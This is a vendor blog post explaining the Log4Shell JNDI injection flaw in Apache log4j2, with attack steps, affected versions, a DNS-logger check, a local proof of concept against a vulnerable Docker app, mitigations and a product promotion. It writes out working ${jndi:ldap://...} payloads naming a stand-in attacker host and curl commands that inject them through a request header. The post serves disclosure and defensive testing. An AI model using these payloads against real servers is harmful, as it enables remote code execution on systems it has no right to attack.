Log4Shell : JNDI Injection via Attackable Log4J
Tags: cybersecurity, log4j2, appsec, vulnerability
Published: 2022-01-04 23:54:21

---
title: Log4Shell : JNDI Injection via Attackable Log4J
published: true
date: 2021-12-12 02:45:51 UTC
tags: cybersecurity,log4j2,appsec,vulnerability
canonical_url: https://blog.shiftleft.io/log4shell-jndi-injection-via-attackable-log4j-6bfea2b4896e
---

### Log4Shell : JNDI Injection via Attackable Log4J

[Apache log4j2](https://github.com/apache/logging-log4j2) is one of the most widely utilized logging library in the Java ecosystem. Many applications depend on log4j that include and are not limited to VMware, Apple, Twitter, Minecraft to plethora of open-source projects like Apache Solr, Apache Druid, and many more.

On **November 30, 2021** , the Apache log4j2 team became [aware](https://github.com/apache/logging-log4j2/pull/608/commits) of a bug that would allow injection of malicious input that could allow for remote code execution. It was only on **December 9, 2021** that the security community largely became aware of this finding and the far reaching impacts of it.

The vulnerability, now assigned as [CVE-2021–44228](https://nvd.nist.gov/vuln/detail/CVE-2021-44228), is largely attackable. Nearly **any user input logged** by a **log4j2 logger** will interpret the user input, causing the application to reach out to a malicious JNDI server and potentially execute arbitrary Java code.

### Attackability of JNDI via log4j?

In 2013 ([version 2.0-beta9](https://blogs.apache.org/logging/entry/apache_log4j_2_0_beta9)), the log4j package added the “ **JNDILookup plugin** ” in issue [LOG4J2–313](https://issues.apache.org/jira/browse/LOG4J2-313). To understand how that change creates a problem, it’s necessary to understand a little about [JNDI](https://en.wikipedia.org/wiki/Java_Naming_and_Directory_Interface): Java Naming and Directory Interface.

**Java Naming and Directory Interface (JNDI)** provides an API for applications to interact with remote objects registered with the RMI registry or directory services like LDAP. JNDI has a number of service provider interfaces (SPIs) that enable it to use a variety of directory services.

A Java based application can use JNDI + LDAP together to find a Business object containing data that it might need. For example, the following URL ldap://localhost:3xx/o=BusinessObjectID to find and invoke theBusinessObject remotely from an LDAP server running on either a same machine (localhost) on port 3xx or remote machine hosted in a controlled environment and goes on to read attributes from it.

![](https://cdn-images-1.medium.com/max/1024/0*vTNC9tVwrW1Pc1ar.png)
_overview of a communication flow for a Java application that utilizes JNDI_

overview of a communication flow for a Java application that utilizes JNDI

Thus the LDAP server could either be running on a different server (in protected zone) or potentially anywhere on the Internet. That flexibility means that if an attacker could control the LDAP URL they’d be able to cause a Java program to instantiate a class (business workflow) from a LDAP server under their control . If an attacker can control the JNDI URL, they can cause the application to load and execute arbitrary Java code.

This happens because log4j contains [special syntax](https://logging.apache.org/log4j/2.x/manual/configuration.html#PropertySubstitution) in the form ${prefix:name} where prefix is one of a number of different [Lookups](https://logging.apache.org/log4j/2.x/manual/lookups.html) where name should be evaluated. For example, ${java:version} is the current running version of Java.

[LOG4J2–313](https://issues.apache.org/jira/browse/LOG4J2-313) added a jndi Lookup as follows: “The JndiLookup allows variables to be retrieved via JNDI. By default the key will be prefixed with java:comp/env/, however if the key contains a ":" no prefix will be added.”

![](https://cdn-images-1.medium.com/max/1024/0*jTzeY9gLFj9n4WNc.png)
_overview of a attackable flow for a Java application that utilizes JNDI_

overview of a attackable flow for a Java application that utilizes JNDI

> _So all an attacker has to do is find some input that gets logged and add something like_ _${jndi:ldap://attackerserver.com.com/x}. This could be a HTTP header like_ _User-Agent (that commonly gets logged) or perhaps a form parameter like_ _username/request object that might also be logged (as a matter of fact everything gets logged in order to increase one’s fidelity to triage or observe)._

In summary, the attacks steps are:

1. Inject the malicious JNDI LDAP URL, **${jndi:ldap://attackerserver.com:1389/ExploitPayload}** , into application input that will be logged by log4j2
2. The log4j2 logger will parse the JNDI URL and the vulnerable application will reach out to malicious LDAP server looking for the “ExploitPayload” object
3. The attacker controller LDAP server will serve a reference to an additional attacker controller server that redirects the vulnerable application to [http://attackerserver.com/ExploitPayload.class](http://badguy.com/Exploit.class)
4. The vulnerable application will load the attacker’s ExploitPayload.class and execute it, enabling the attacker to gain remote code execution privileges on the host running the application. This step depends on the version of Java that the application is running with and the application itself

Applications running with Java versions prior to 8u191, 7u201, 6u211, and 11.01 can be easily exploited by attackers. Java versions from 8u191, 7u201, 6u211, and 11.01 upwards don’t load remote classes via JNDI by default. But attackers may still be able to exploit existing application classes to achieve remote code execution.

Expect to see attackers figuring out how to exactly take advantage of this vulnerability to exploit specific applications.

### Example of a Vulnerable Code snippet

The conditions required to trigger attackability are

- A server with a vulnerable log4j version (listed in matrix below),
- an endpoint with any protocol (HTTP, TCP, etc) that allows an attacker to send the exploit string,
- and a log statement that logs out the string from that request (with JNDI LDAP URI).

![](https://cdn-images-1.medium.com/max/1024/0*EeOxK_xUowh5ySm8.png)
_Attackable data flow to trigger exploit_

Attackable data flow to trigger exploit

### Attackability Scope (Matrix)

![](https://cdn-images-1.medium.com/max/1024/0*UV2sZNBKNPAP7skH.png)
_https://docs.google.com/spreadsheets/d/14GTZ_EvzHQXU9dXOo9vDPCGps5ePGxPLW6sxTylSEI4/edit?usp=sharing_

[https://docs.google.com/spreadsheets/d/14GTZ\_EvzHQXU9dXOo9vDPCGps5ePGxPLW6sxTylSEI4/edit?usp=sharing](https://docs.google.com/spreadsheets/d/14GTZ_EvzHQXU9dXOo9vDPCGps5ePGxPLW6sxTylSEI4/edit?usp=sharing)

### Identifying if your server is attackable?

Using a DNS logger (such as [dnslog.cn](http://www.dnslog.cn/)), you can generate a domain name and use this in your test payloads:

```
**// if server in test is running on localhost** curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://xxx.dnslog.cn/a}'
```

Refreshing the page will show DNS queries which identify hosts who have triggered the vulnerability.

![](https://cdn-images-1.medium.com/max/1024/0*YqzW_I5BDRGIL8lK.png)

### Community driven POC

If you want to reproduce this vulnerability locally, you can refer to [christophetd’s](https://twitter.com/christophetd) [vulnerable app](https://github.com/christophetd/log4shell-vulnerable-app).

```
**// 1. In a sandboxed terminal-1 (with docker daemon installed), run**

docker run -p 8080:8080 ghcr.io/christophetd/log4shell-vulnerable-app

**// 2. Spawn another tab-2 to trigger the exploit**

curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://127.0.0.1/a}'

**// 3. Observe logs in terminal (1)**

2021-12-11 11:01:05,99 http-nio-8080-exec-1 WARN Error looking up JNDI resource [ldap://127.0.0.1/a]. javax.naming.CommunicationException: 127.0.0.1:389 [Root exception is java.net.ConnectException: Connection refused (Connection refused)]
```

### Temporary Mitigations

- formatMsgNoLookups=true mitigation strategy via log4 configuration is available in version 2.10.0 and higher, but is no longer necessary with version 2.15.0, because it then becomes the default behavior
- If version is older than 2.10.0 (and cannot upgrade), modify every logging pattern layout to say %m{nolookups} instead of %m in your logging config files (only works on versions >= 2.7)
- Substitute a non-vulnerable or empty implementation of the class org.apache.logging.log4j.core.lookup.JndiLookup, in a way that your classloader uses your replacement instead of the vulnerable version of the class
- Volker Simonis from the AWS Corretto team has released [a java agent based runtime patch](https://github.com/simonis/Log4jPatch) (RASP based patching technique). The patch must run on the same machine as the running Java process as the same user. It then dynamically connects to the running Java process through the Attach API and inspects the running JVM to configure the JVM flags and actions described above.

### Protect from future attackability[​](https://www.lunasec.io/docs/blog/log4j-zero-day/#limit-your-vulnerability-to-future-attacks)

ShiftLeft’s [CORE](https://www.shiftleft.io/shiftleft-core/) is an **application security** platform built over the foundational [Code Property Graph](https://www.chetanconikee.com/extract-exploit-graph-from-source-code/) that is uniquely positioned to deliver a specification model to query for **unknown**  **vulnerable conditions** , **business logic flaws** and **insider attacks** that might exist in your application’s codebase.

With ShiftLeft CORE, teams are able to focus on known and unknown issues that can be detected and reached by attackers from outside the application.

To get a free ShiftLeft CORE account, visit [https://www.shiftleft.io/register](https://www.shiftleft.io/register).  
To try Intelligent SCA, sign up for a premium trial within ShiftLeft CORE

* * *